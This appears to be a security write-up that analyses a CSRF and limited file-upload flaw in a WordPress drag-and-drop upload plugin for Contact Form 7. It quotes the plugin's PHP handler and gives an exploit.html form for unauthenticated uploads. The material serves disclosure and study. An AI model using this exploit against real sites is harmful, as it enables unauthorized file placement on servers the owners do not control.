The plugin was affected by a Non-Arbitrary File Upload and CSRF vulnerabilities. The two vulnerabilities allow us to upload files to the server, even with a script.

Note: only limited file types can be uploaded.


Let’s check the plugin

The plugin adds the following action hook:

add_action( 'wp_ajax_nopriv_dnd_codedropz_upload', 'dnd_upload_cf7_upload' );

The dnd_upload_cf7_upload() function includes the following request handling:

// cf7 form id & upload name
$cf7_id = sanitize_text_field( (int) $_POST['form_id'] );

// Get the name of upload field.
$cf7_upload_name = sanitize_text_field( $_POST['upload_name'] );

// Get allowed ext list @expected : png|jpeg|jpg
$allowed_types = dnd_cf7_get_allowed_types( $cf7_id );

/* Get allowed extension */
$supported_type = ( isset( $allowed_types["$cf7_upload_name"] ) ? $allowed_types["$cf7_upload_name"] : dnd_upload_default_ext() );

then upload the file:

// Create file name
$filename = wp_basename( $file['name'] );
$filename = wpcf7_canonicalize( $filename, 'as-is' );

// Generate new filename
$filename = wp_unique_filename( $path['upload_dir'], $filename );
$new_file = path_join( $path['upload_dir'], $filename );

// Upload File
move_uploaded_file( $file['tmp_name'], $new_file );

Note: The interesting thing is that it also works without a form_id, so we can upload a file even if the file upload field has not been added to any form.


Let’s see how we can exploit this vulnerability

Since the function does not implement nonce check, it is CSRF vulnerable. Therefore, we have the option to upload files using a script.

The easiest way is to create an exploit.html file:

<form method="post" action="" enctype="multipart/form-data">
	<input type="hidden" name="action" value="dnd_codedropz_upload">
	<input type="file" name="upload-file">
	<input type="submit">


Try it

For security reasons, I modified the plugin to replace the uploaded file with a demo file with different content, so it is not possible to upload malicious files in the sandbox and use the sandbox website as a public file server.

If the file upload is successful, you will be redirected to the image file corresponding to the file type. If the file upload failed and the file does not exist, a not found error message will be displayed.

File upload exploit URL:

Uploaded file URL:{filename}.{ext}